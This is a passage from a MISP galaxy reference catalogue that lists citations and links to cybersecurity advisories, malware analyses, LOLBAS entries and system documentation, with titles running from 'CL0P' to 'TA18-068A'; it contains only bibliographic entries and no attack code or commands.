Cybersecurity and Infrastructure Security Agency. (2023, June 7). #StopRansomware: CL0P Ransomware Gang Exploits CVE-2023-34362 MOVEit Vulnerability. Retrieved July 27, 2023.

The tag is: *misp-galaxy:references="U.S. CISA CL0P CVE-2023-34362 Exploitation"*

Table 23228. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-158a

U.S. CISA Cuba Ransomware October 2022

Cybersecurity and Infrastructure Security Agency. (2023, January 5). #StopRansomware: Cuba Ransomware. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Cuba Ransomware October 2022"*

Table 23229. Table References

Links
https://www.cisa.gov/uscert/ncas/alerts/aa22-335a

U.S. CISA Daixin Team October 2022

Cybersecurity and Infrastructure Security Agency. (2022, October 26). #StopRansomware: Daixin Team. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Daixin Team October 2022"*

Table 23230. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-294a

U.S. CISA Ghost Cring Ransomware February 19 2025

Cybersecurity and Infrastructure Security Agency. (2025, February 19). #StopRansomware: Ghost (Cring) Ransomware. Retrieved February 23, 2025.

The tag is: *misp-galaxy:references="U.S. CISA Ghost Cring Ransomware February 19 2025"*

Table 23231. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-050a

U.S. CISA Hive November 25 2022

Cybersecurity and Infrastructure Security Agency. (2022, November 25). #StopRansomware: Hive Ransomware. Retrieved June 18, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Hive November 25 2022"*

Table 23232. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-321a

CISA LockBit 2023

CISA. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="CISA LockBit 2023"*

Table 23233. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a

Joint Cybersecurity Advisory LockBit 3.0 MAR 2023

FBI et al. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved February 5, 2025.

The tag is: *misp-galaxy:references="Joint Cybersecurity Advisory LockBit 3.0 MAR 2023"*

Table 23234. Table References

Links
https://www.cisa.gov/sites/default/files/2023-03/aa23-075a-stop-ransomware-lockbit.pdf

U.S. CISA LockBit 3.0 March 2023

Cybersecurity and Infrastructure Security Agency. (2023, March 16). #StopRansomware: LockBit 3.0. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="U.S. CISA LockBit 3.0 March 2023"*

Table 23235. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-075a

U.S. CISA LockBit Citrix Bleed November 21 2023

Cybersecurity and Infrastructure Security Agency. (2023, November 21). #StopRansomware: LockBit 3.0 Ransomware Affiliates Exploit CVE 2023-4966 Citrix Bleed Vulnerability. Retrieved November 30, 2023.

The tag is: *misp-galaxy:references="U.S. CISA LockBit Citrix Bleed November 21 2023"*

Table 23236. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-325a

U.S. CISA MedusaLocker August 11 2022

Cybersecurity and Infrastructure Security Agency. (2022, August 11). #StopRansomware: MedusaLocker. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="U.S. CISA MedusaLocker August 11 2022"*

Table 23237. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-181a

U.S. CISA Medusa Ransomware March 12 2025

Cybersecurity and Infrastructure Security Agency. (2025, March 12). #StopRansomware: Medusa Ransomware. Retrieved March 13, 2025.

The tag is: *misp-galaxy:references="U.S. CISA Medusa Ransomware March 12 2025"*

Table 23238. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa25-071a

U.S. CISA Phobos February 29 2024

Cybersecurity and Infrastructure Security Agency. (2024, February 29). #StopRansomware: Phobos Ransomware. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Phobos February 29 2024"*

Table 23239. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-060a

U.S. CISA Play Ransomware December 2023

Cybersecurity and Infrastructure Security Agency. (2023, December 18). #StopRansomware: Play Ransomware. Retrieved December 18, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Play Ransomware December 2023"*

Table 23240. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a

CISA Play Ransomware Advisory December 2023

CISA. (2023, December 18). #StopRansomware: Play Ransomware AA23-352A. Retrieved September 24, 2024.

The tag is: *misp-galaxy:references="CISA Play Ransomware Advisory December 2023"*

Table 23241. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-352a

CISA RansomHub AUG 2024

CISA et al. (2024, August 29). #StopRansomware: RansomHub Ransomware. Retrieved March 17, 2025.

The tag is: *misp-galaxy:references="CISA RansomHub AUG 2024"*

Table 23242. Table References

Links
https://www.cisa.gov/sites/default/files/2024-09/aa24-242a-stopransomware-ransomhub-ransomware_1.pdf

U.S. CISA RansomHub Ransomware August 29 2024

Cybersecurity and Infrastructure Security Agency. (2024, August 29). #StopRansomware: RansomHub Ransomware. Retrieved September 3, 2024.

The tag is: *misp-galaxy:references="U.S. CISA RansomHub Ransomware August 29 2024"*

Table 23243. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-242a

U.S. CISA Rhysida Ransomware November 15 2023

Cybersecurity and Infrastructure Security Agency. (2023, November 15). #StopRansomware: Rhysida Ransomware. Retrieved November 16, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Rhysida Ransomware November 15 2023"*

Table 23244. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-319a

CISA Royal AA23-061A March 2023

CISA. (2023, March 2). #StopRansomware: Royal Ransomware. Retrieved March 31, 2023.

The tag is: *misp-galaxy:references="CISA Royal AA23-061A March 2023"*

Table 23245. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a

#StopRansomware: Royal Ransomware | CISA

Cybersecurity and Infrastructure Security Agency. (2023, March 2). #StopRansomware: Royal Ransomware | CISA. Retrieved May 10, 2023.

The tag is: *misp-galaxy:references="#StopRansomware: Royal Ransomware | CISA"*

Table 23246. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-061a

U.S. CISA Vice Society September 2022

Cybersecurity and Infrastructure Security Agency. (2022, September 8). #StopRansomware: Vice Society. Retrieved May 19, 2023.

The tag is: *misp-galaxy:references="U.S. CISA Vice Society September 2022"*

Table 23247. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-249a-0

U.S. CISA Zeppelin Ransomware August 11 2022

Cybersecurity and Infrastructure Security Agency. (2022, August 11). #StopRansomware: Zeppelin Ransomware. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="U.S. CISA Zeppelin Ransomware August 11 2022"*

Table 23248. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-223a

Stordiag.exe - LOLBAS Project

LOLBAS. (2021, October 21). Stordiag.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Stordiag.exe - LOLBAS Project"*

Table 23249. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Stordiag/

Pentestlab Stored Credentials

netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.

The tag is: *misp-galaxy:references="Pentestlab Stored Credentials"*

Table 23250. Table References

Links
https://pentestlab.blog/2017/04/19/stored-credentials/

store_pwd_rev_enc

Microsoft. (2021, October 28). Store passwords using reversible encryption. Retrieved January 3, 2022.

The tag is: *misp-galaxy:references="store_pwd_rev_enc"*

Table 23251. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption

Microsoft Security Blog September 26 2024

Microsoft Threat Intelligence. (2024, September 26). Storm-0501 Ransomware attacks expanding to hybrid cloud environments . Retrieved September 27, 2024.

The tag is: *misp-galaxy:references="Microsoft Security Blog September 26 2024"*

Table 23252. Table References

Links
https://www.microsoft.com/en-us/security/blog/2024/09/26/storm-0501-ransomware-attacks-expanding-to-hybrid-cloud-environments/

RedCanary Storm-1811 2024

Red Canary Intelligence. (2024, December 2). Storm-1811 exploits RMM tools to drop Black Basta ransomware. Retrieved March 14, 2025.

The tag is: *misp-galaxy:references="RedCanary Storm-1811 2024"*

Table 23253. Table References

Links
https://redcanary.com/blog/threat-intelligence/storm-1811-black-basta/

IBM Storwize

IBM Support. (2017, April 26). Storwize USB Initialization Tool may contain malicious code. Retrieved May 28, 2019.

The tag is: *misp-galaxy:references="IBM Storwize"*

Table 23254. Table References

Links
https://www-01.ibm.com/support/docview.wss?uid=ssg1S1010146&myns=s028&mynp=OCSTHGUJ&mynp=OCSTLM5A&mynp=OCSTLM6B&mynp=OCHW206&mync=E&cm_sp=s028--*OCSTHGUJ-OCSTLM5A-OCSTLM6B-OCHW206*--E

G Data Sodinokibi June 2019

Han, Karsten. (2019, June 4). Strange Bits: Sodinokibi Spam, CinaRAT, and Fake G DATA. Retrieved August 4, 2020.

The tag is: *misp-galaxy:references="G Data Sodinokibi June 2019"*

Table 23255. Table References

Links
https://www.gdatasoftware.com/blog/2019/06/31724-strange-bits-sodinokibi-spam-cinarat-and-fake-g-data

Fortgale StrelaStealer 2023

Fortgale. (2023, September 18). StrelaStealer Malware Analysis. Retrieved December 31, 2024.

The tag is: *misp-galaxy:references="Fortgale StrelaStealer 2023"*

Table 23256. Table References

Links
https://fortgale.com/blog/malware-analysis/strelastealer-malware-analysis-2/

IBM StrelaStealer 2024

Golo Mühr, Joe Fasulo & Charlotte Hammond, IBM X-Force. (2024, November 12). Strela Stealer: Today's invoice is tomorrow's phish. Retrieved December 31, 2024.

The tag is: *misp-galaxy:references="IBM StrelaStealer 2024"*

Table 23257. Table References

Links
https://securityintelligence.com/x-force/strela-stealer-todays-invoice-tomorrows-phish/

Windows Blogs Microsoft Edge Sandbox

Cowan, C. (2017, March 23). Strengthening the Microsoft Edge Sandbox. Retrieved March 12, 2018.

The tag is: *misp-galaxy:references="Windows Blogs Microsoft Edge Sandbox"*

Table 23258. Table References

Links
https://blogs.windows.com/msedgedev/2017/03/23/strengthening-microsoft-edge-sandbox/

ComputerWeekly Strider

Warwick Ashford. (2016, August 8). Strider cyber attack group deploying malware for espionage. Retrieved January 10, 2024.

The tag is: *misp-galaxy:references="ComputerWeekly Strider"*

Table 23259. Table References

Links

https://www.computerweekly.com/news/450302128/Strider-cyber-attack-group-deploying-malware-for-espionage

Symantec Strider Blog

Symantec Security Response. (2016, August 7). Strider: Cyberespionage group turns eye of Sauron on targets. Retrieved August 17, 2016.

The tag is: *misp-galaxy:references="Symantec Strider Blog"*

Table 23260. Table References

Links
http://www.symantec.com/connect/blogs/strider-cyberespionage-group-turns-eye-sauron-targets

Cybereason StrifeWater Feb 2022

Cybereason Nocturnus. (2022, February 1). StrifeWater RAT: Iranian APT Moses Staff Adds New Trojan to Ransomware Operations. Retrieved August 15, 2022.

The tag is: *misp-galaxy:references="Cybereason StrifeWater Feb 2022"*

Table 23261. Table References

Links
https://www.cybereason.com/blog/research/strifewater-rat-iranian-apt-moses-staff-adds-new-trojan-to-ransomware-operations

Bitdefender StrongPity June 2020

Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.

The tag is: *misp-galaxy:references="Bitdefender StrongPity June 2020"*

Table 23262. Table References

Links
https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf

welivesec_strongpity

Stefanko, L. (2023, January 10). StrongPity espionage campaign targeting Android users. Retrieved January 31, 2023.

The tag is: *misp-galaxy:references="welivesec_strongpity"*

Table 23263. Table References

Links
https://www.welivesecurity.com/2023/01/10/strongpity-espionage-campaign-targeting-android-users/

Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020

Microsoft Threat Intelligence Center (MSTIC). (2020, September 10). STRONTIUM: Detecting new patterns in credential harvesting. Retrieved September 11, 2020.

The tag is: *misp-galaxy:references="Microsoft STRONTIUM New Patterns Cred Harvesting Sept 2020"*

Table 23264. Table References

Links
https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/

ESET Stuxnet Under the Microscope

Matrosov, A., Rodionov, E., Harley, D., Malcho, J.. (n.d.). Stuxnet Under the Microscope. Retrieved December 7, 2020.

The tag is: *misp-galaxy:references="ESET Stuxnet Under the Microscope"*

Table 23265. Table References

Links
https://web-assets.esetstatic.com/wls/2012/11/Stuxnet_Under_the_Microscope.pdf

subTee .NET Profilers May 2017

Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020.

The tag is: *misp-galaxy:references="subTee .NET Profilers May 2017"*

Table 23266. Table References

Links
https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html

SpectorOps Subverting Trust Sept 2017

Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.

The tag is: *misp-galaxy:references="SpectorOps Subverting Trust Sept 2017"*

Table 23267. Table References

Links
https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf

Symantec Suckfly March 2016

DiMaggio, J. (2016, March 15). Suckfly: Revealing the secret life of your code signing certificates. Retrieved August 3, 2016.

The tag is: *misp-galaxy:references="Symantec Suckfly March 2016"*

Table 23268. Table References

Links
http://www.symantec.com/connect/blogs/suckfly-revealing-secret-life-your-code-signing-certificates

sudo man page 2018

Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.

The tag is: *misp-galaxy:references="sudo man page 2018"*

Table 23269. Table References

Links
https://www.sudo.ws/

FireEye SUNBURST Additional Details Dec 2020

Stephen Eckels, Jay Smith, William Ballenthin. (2020, December 24). SUNBURST Additional Technical Details. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="FireEye SUNBURST Additional Details Dec 2020"*

Table 23270. Table References

Links
https://www.fireeye.com/blog/threat-research/2020/12/sunburst-additional-technical-details.html

CheckPoint Sunburst & Teardrop December 2020

Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="CheckPoint Sunburst & Teardrop December 2020"*

Table 23271. Table References

Links
https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/

Check Point Sunburst Teardrop December 2020

Check Point Research. (2020, December 22). SUNBURST, TEARDROP and the NetSec New Normal. Retrieved January 6, 2021.

The tag is: *misp-galaxy:references="Check Point Sunburst Teardrop December 2020"*

Table 23272. Table References

Links
https://research.checkpoint.com/2020/sunburst-teardrop-and-the-netsec-new-normal/

CrowdStrike SUNSPOT Implant January 2021

CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021.

The tag is: *misp-galaxy:references="CrowdStrike SUNSPOT Implant January 2021"*

Table 23273. Table References

Links
https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/

Kaspersky Superfish

Onuma. (2015, February 24). Superfish: Adware Preinstalled on Lenovo Laptops. Retrieved February 20, 2017.

The tag is: *misp-galaxy:references="Kaspersky Superfish"*

Table 23274. Table References

Links
https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/

Unit42 SUPERNOVA Dec 2020

Tennis, M. (2020, December 17). SUPERNOVA: A Novel .NET Webshell. Retrieved February 22, 2021.

The tag is: *misp-galaxy:references="Unit42 SUPERNOVA Dec 2020"*

Table 23275. Table References

Links
https://unit42.paloaltonetworks.com/solarstorm-supernova/

Guidepoint SUPERNOVA Dec 2020

Riley, W. (2020, December 1). SUPERNOVA SolarWinds .NET Webshell Analysis. Retrieved February 18, 2021.

The tag is: *misp-galaxy:references="Guidepoint SUPERNOVA Dec 2020"*

Table 23276. Table References

Links
https://www.guidepointsecurity.com/supernova-solarwinds-net-webshell-analysis/

00sec Droppers

0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021.

The tag is: *misp-galaxy:references="00sec Droppers"*

Table 23277. Table References

Links
https://0x00sec.org/t/super-stealthy-droppers/3715

FireEyeSupplyChain

FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.

The tag is: *misp-galaxy:references="FireEyeSupplyChain"*

Table 23278. Table References

Links
https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop

Unit42 ComboJack 2018

Levene, B., Grunzweig, J. (2018, March 5). Sure, I'll take that! New ComboJack Malware Alters Clipboards to Steal Cryptocurrency. Retrieved November 25, 2024.

The tag is: *misp-galaxy:references="Unit42 ComboJack 2018"*

Table 23279. Table References

Links
https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/

Moran 2013

Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Moran 2013"*

Table 23280. Table References

Links
https://web.archive.org/web/20191224162418/https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html

Google Cloud BOLDMOVE 2023

Scott Henderson, Cristiana Kittner, Sarah Hawley & Mark Lechtik, Google Cloud. (2023, January 19). Suspected Chinese Threat Actors Exploiting FortiOS Vulnerability (CVE-2022-42475). Retrieved December 31, 2024.

The tag is: *misp-galaxy:references="Google Cloud BOLDMOVE 2023"*

Table 23281. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/chinese-actors-exploit-fortios-flaw/

4 - appv

John Fokker. (2022, March 17). Suspected DarkHotel APT activity update. Retrieved February 6, 2024.

The tag is: *misp-galaxy:references="4 - appv"*

Table 23282. Table References

Links
https://www.trellix.com/en-ca/about/newsroom/stories/research/suspected-darkhotel-apt-activity-update/

Dell Threat Group 2889

Dell SecureWorks. (2015, October 7). Suspected Iran-Based Hacker Group Creates Network of Fake LinkedIn Profiles. Retrieved January 14, 2016.

The tag is: *misp-galaxy:references="Dell Threat Group 2889"*

Table 23283. Table References

Links
http://www.secureworks.com/cyber-threat-intelligence/threats/suspected-iran-based-hacker-group-creates-network-of-fake-linkedin-profiles/

Mandiant UNC3890 Aug 2022

Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. Retrieved September 21, 2022.

The tag is: *misp-galaxy:references="Mandiant UNC3890 Aug 2022"*

Table 23284. Table References

Links
https://www.mandiant.com/resources/blog/suspected-iranian-actor-targeting-israeli-shipping

Suspected Russian Activity Targeting Government and Business Entities Around the Globe

Luke Jenkins, Sarah Hawley, Parnian Najafi, Doug Bienstock. (2021, December 6). Suspected Russian Activity Targeting Government and Business Entities Around the Globe. Retrieved April 15, 2022.

The tag is: *misp-galaxy:references="Suspected Russian Activity Targeting Government and Business Entities Around the Globe"*

Table 23285. Table References

Links
https://www.mandiant.com/resources/russian-targeting-gov-business

Elastic Suspicious Termination of ESXI Process

Elastic. (n.d.). Suspicious Termination of ESXI Process. Retrieved March 27, 2025.

The tag is: *misp-galaxy:references="Elastic Suspicious Termination of ESXI Process"*

Table 23286. Table References

Links
https://www.elastic.co/guide/en/security/current/suspicious-termination-of-esxi-process.html

Cofense SVG Smuggling 2024

Max Gannon. (2024, March 13). SVG Files Abused in Emerging Campaigns. Retrieved March 25, 2025.

The tag is: *misp-galaxy:references="Cofense SVG Smuggling 2024"*

Table 23287. Table References

Links
https://cofense.com/blog/svg-files-abused-in-emerging-campaigns/

NCSC et al APT29 2024

UK National Cyber Security Center et al. (2024, February). SVR cyber actors adapt tactics for initial cloud access. Retrieved March 1, 2024.

The tag is: *misp-galaxy:references="NCSC et al APT29 2024"*

Table 23288. Table References

Links
https://www.ic3.gov/Media/News/2024/240226.pdf

U.S. CISA APT29 Cloud Access

Cybersecurity and Infrastructure Security Agency. (2024, February 26). SVR Cyber Actors Adapt Tactics for Initial Cloud Access. Retrieved March 1, 2024.

The tag is: *misp-galaxy:references="U.S. CISA APT29 Cloud Access"*

Table 23289. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-057a

Recorded Future Turla Infra 2020

Insikt Group. (2020, March 12). Swallowing the Snake's Tail: Tracking Turla Infrastructure. Retrieved September 16, 2024.

The tag is: *misp-galaxy:references="Recorded Future Turla Infra 2020"*

Table 23290. Table References

Links
https://www.recordedfuture.com/research/turla-apt-infrastructure

Microsoft Sxstrace

Gerend, J. et al.. (2017, October 16). sxstrace. Retrieved April 26, 2021.

The tag is: *misp-galaxy:references="Microsoft Sxstrace"*

Table 23291. Table References

Links
https://docs.microsoft.com/windows-server/administration/windows-commands/sxstrace

Alienvault Sykipot DOD Smart Cards

Blasco, J. (2012, January 12). Sykipot variant hijacks DOD and Windows smart cards. Retrieved January 10, 2016.

The tag is: *misp-galaxy:references="Alienvault Sykipot DOD Smart Cards"*

Table 23292. Table References

Links
https://www.alienvault.com/open-threat-exchange/blog/sykipot-variant-hijacks-dod-and-windows-smart-cards

Intezer Symbiote 2022

Joakim Kennedy and The BlackBerry Threat Research & Intelligence Team. (2022, June 9). Symbiote Deep-Dive: Analysis of a New, Nearly-Impossible-to-Detect Linux Threat. Retrieved March 24, 2025.

The tag is: *misp-galaxy:references="Intezer Symbiote 2022"*

Table 23293. Table References

Links
https://intezer.com/blog/research/new-linux-threat-symbiote/

SecureList SynAck Doppelgänging May 2018

Ivanov, A. et al. (2018, May 7). SynAck targeted ransomware uses the Doppelgänging technique. Retrieved May 22, 2018.

The tag is: *misp-galaxy:references="SecureList SynAck Doppelgänging May 2018"*

Table 23294. Table References

Links
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/

6 - appv

Strontic. (n.d.). SyncAppvPublishingServer.exe. Retrieved February 6, 2024.

The tag is: *misp-galaxy:references="6 - appv"*

Table 23295. Table References

Links
https://strontic.github.io/xcyclopedia/library/SyncAppvPublishingServer.exe-3C291419F60CDF9C2E4E19AD89944FA3.html

SyncAppvPublishingServer.exe - LOLBAS Project

LOLBAS. (2018, May 25). SyncAppvPublishingServer.exe. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="SyncAppvPublishingServer.exe - LOLBAS Project"*

Table 23296. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Syncappvpublishingserver/

5 - appv

Nick Landers, Casey Smith. (n.d.). /Syncappvpublishingserver.vbs. Retrieved February 6, 2024.

The tag is: *misp-galaxy:references="5 - appv"*

Table 23297. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/

Syncappvpublishingserver.vbs - LOLBAS Project

LOLBAS. (2018, May 25). Syncappvpublishingserver.vbs. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Syncappvpublishingserver.vbs - LOLBAS Project"*

Table 23298. Table References

Links
https://lolbas-project.github.io/lolbas/Scripts/Syncappvpublishingserver/

Mac Time Sync

Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March

27, 2024.

The tag is: *misp-galaxy:references="Mac Time Sync"*

Table 23299. Table References

Links
https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/

Mandiant - Synful Knock

Bill Hau, Tony Lee, Josh Homan. (2015, September 15). SYNful Knock - A Cisco router implant - Part I. Retrieved November 17, 2024.

The tag is: *misp-galaxy:references="Mandiant - Synful Knock"*

Table 23300. Table References

Links
https://cloud.google.com/blog/topics/threat-intelligence/synful-knock-acis/

sysdig

Sysdig. (2023). Sysdig Global Cloud Threat Report. Retrieved March 1, 2024.

The tag is: *misp-galaxy:references="sysdig"*

Table 23301. Table References

Links
https://sysdig.com/content/c/pf-2023-global-cloud-threat-report?x=u_WFRi&xs=524303#page=1

Sysdig October 25 2022

Crystal Morin. (2022, October 25). Sysdig TRT uncovers massive cryptomining operation leveraging GitHub Actions. Retrieved December 12, 2024.

The tag is: *misp-galaxy:references="Sysdig October 25 2022"*

Table 23302. Table References

Links
https://sysdig.com/blog/massive-cryptomining-operation-github-actions/

Sysmon EID 9

Russinovich, R. & Garnier, T. (2021, August 18). Sysmon Event ID 9. Retrieved September 24, 2021.

The tag is: *misp-galaxy:references="Sysmon EID 9"*

Table 23303. Table References

Links
https://docs.microsoft.com/sysinternals/downloads/sysmon#event-id-9-rawaccessread

Microsoft Sysmon v6 May 2017

Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.

The tag is: *misp-galaxy:references="Microsoft Sysmon v6 May 2017"*

Table 23304. Table References

Links
https://docs.microsoft.com/sysinternals/downloads/sysmon

Syssetup.dll - LOLBAS Project

LOLBAS. (2018, May 25). Syssetup.dll. Retrieved December 4, 2023.

The tag is: *misp-galaxy:references="Syssetup.dll - LOLBAS Project"*

Table 23305. Table References

Links
https://lolbas-project.github.io/lolbas/Libraries/Syssetup/

System and kernel extensions in macOS

Apple. (n.d.). System and kernel extensions in macOS. Retrieved March 31, 2022.

The tag is: *misp-galaxy:references="System and kernel extensions in macOS"*

Table 23306. Table References

Links
https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web

Linux man-pages: systemd January 2014

Linux man-pages. (2014, January). systemd(1) - Linux manual page. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Linux man-pages: systemd January 2014"*

Table 23307. Table References

Links

http://man7.org/linux/man-pages/man1/systemd.1.html

FreeDesktop Journal

freedesktop.org. (n.d.). systemd-journald.service. Retrieved June 15, 2022.

The tag is: *misp-galaxy:references="FreeDesktop Journal"*

Table 23308. Table References

Links
https://www.freedesktop.org/software/systemd/man/systemd-journald.service.html

Ubuntu Manpage systemd rc

Canonical Ltd.. (n.d.). systemd-rc-local-generator - Compatibility generator for starting /etc/rc.local and /usr/sbin/halt.local during boot and shutdown. Retrieved February 23, 2021.

The tag is: *misp-galaxy:references="Ubuntu Manpage systemd rc"*

Table 23309. Table References

Links
http://manpages.ubuntu.com/manpages/bionic/man8/systemd-rc-local-generator.8.html

Systemd Service Units

Freedesktop.org. (n.d.). systemd.service — Service unit configuration. Retrieved March 16, 2020.

The tag is: *misp-galaxy:references="Systemd Service Units"*

Table 23310. Table References

Links
https://www.freedesktop.org/software/systemd/man/systemd.service.html

freedesktop systemd.service

Free Desktop. (n.d.). systemd.service — Service unit configuration. Retrieved March 20, 2023.

The tag is: *misp-galaxy:references="freedesktop systemd.service"*

Table 23311. Table References

Links
https://www.freedesktop.org/software/systemd/man/systemd.service.html

systemdsleep Linux

Man7. (n.d.). systemd-sleep.conf(5) — Linux manual page. Retrieved June 7, 2023.

The tag is: *misp-galaxy:references="systemdsleep Linux"*

Table 23312. Table References

Links
https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html

Freedesktop.org Linux systemd 29SEP2018

Freedesktop.org. (2018, September 29). systemd System and Service Manager. Retrieved April 23, 2019.

The tag is: *misp-galaxy:references="Freedesktop.org Linux systemd 29SEP2018"*

Table 23313. Table References

Links
https://www.freedesktop.org/wiki/Software/systemd/

archlinux Systemd Timers Aug 2020

archlinux. (2020, August 11). systemd/Timers. Retrieved October 12, 2020.

The tag is: *misp-galaxy:references="archlinux Systemd Timers Aug 2020"*

Table 23314. Table References

Links
https://wiki.archlinux.org/index.php/Systemd/Timers

TechNet Systeminfo

Microsoft. (n.d.). Systeminfo. Retrieved April 8, 2016.

The tag is: *misp-galaxy:references="TechNet Systeminfo"*

Table 23315. Table References

Links
https://technet.microsoft.com/en-us/library/bb491007.aspx

Peripheral Discovery macOS

SS64. (n.d.). system_profiler. Retrieved March 11, 2022.

The tag is: *misp-galaxy:references="Peripheral Discovery macOS"*

Table 23316. Table References

Links
https://ss64.com/osx/system_profiler.html

linux system time

ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024.

The tag is: *misp-galaxy:references="linux system time"*

Table 23317. Table References

Links
https://wiki.archlinux.org/title/System_time

MSDN System Time

Microsoft. (n.d.). System Time. Retrieved November 25, 2016.

The tag is: *misp-galaxy:references="MSDN System Time"*

Table 23318. Table References

Links
https://msdn.microsoft.com/ms724961.aspx

atomic-red proc file system

Atomic Red Team. (2023, November). T1003.007 - OS Credential Dumping: Proc Filesystem. Retrieved March 28, 2024.

The tag is: *misp-galaxy:references="atomic-red proc file system"*

Table 23319. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1003.007/T1003.007.md

Red Canary - Atomic Red Team

Red Canary - Atomic Red Team. (n.d.). T1053.005 - Scheduled Task/Job: Scheduled Task. Retrieved June 19, 2024.

The tag is: *misp-galaxy:references="Red Canary - Atomic Red Team"*

Table 23320. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1053.005/T1053.005.md

T1562.002_redcanaryco

redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.

The tag is: *misp-galaxy:references="T1562.002_redcanaryco"*

Table 23321. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md

Palo Alto T9000 Feb 2016

Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.

The tag is: *misp-galaxy:references="Palo Alto T9000 Feb 2016"*

Table 23322. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/

US-CERT TA18-068A 2018

US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted by Cyber Actors. Retrieved October 2, 2019.

The tag is: *misp-galaxy:references="US-CERT TA18-068A 2018"*

Table 23323. Table References

Links
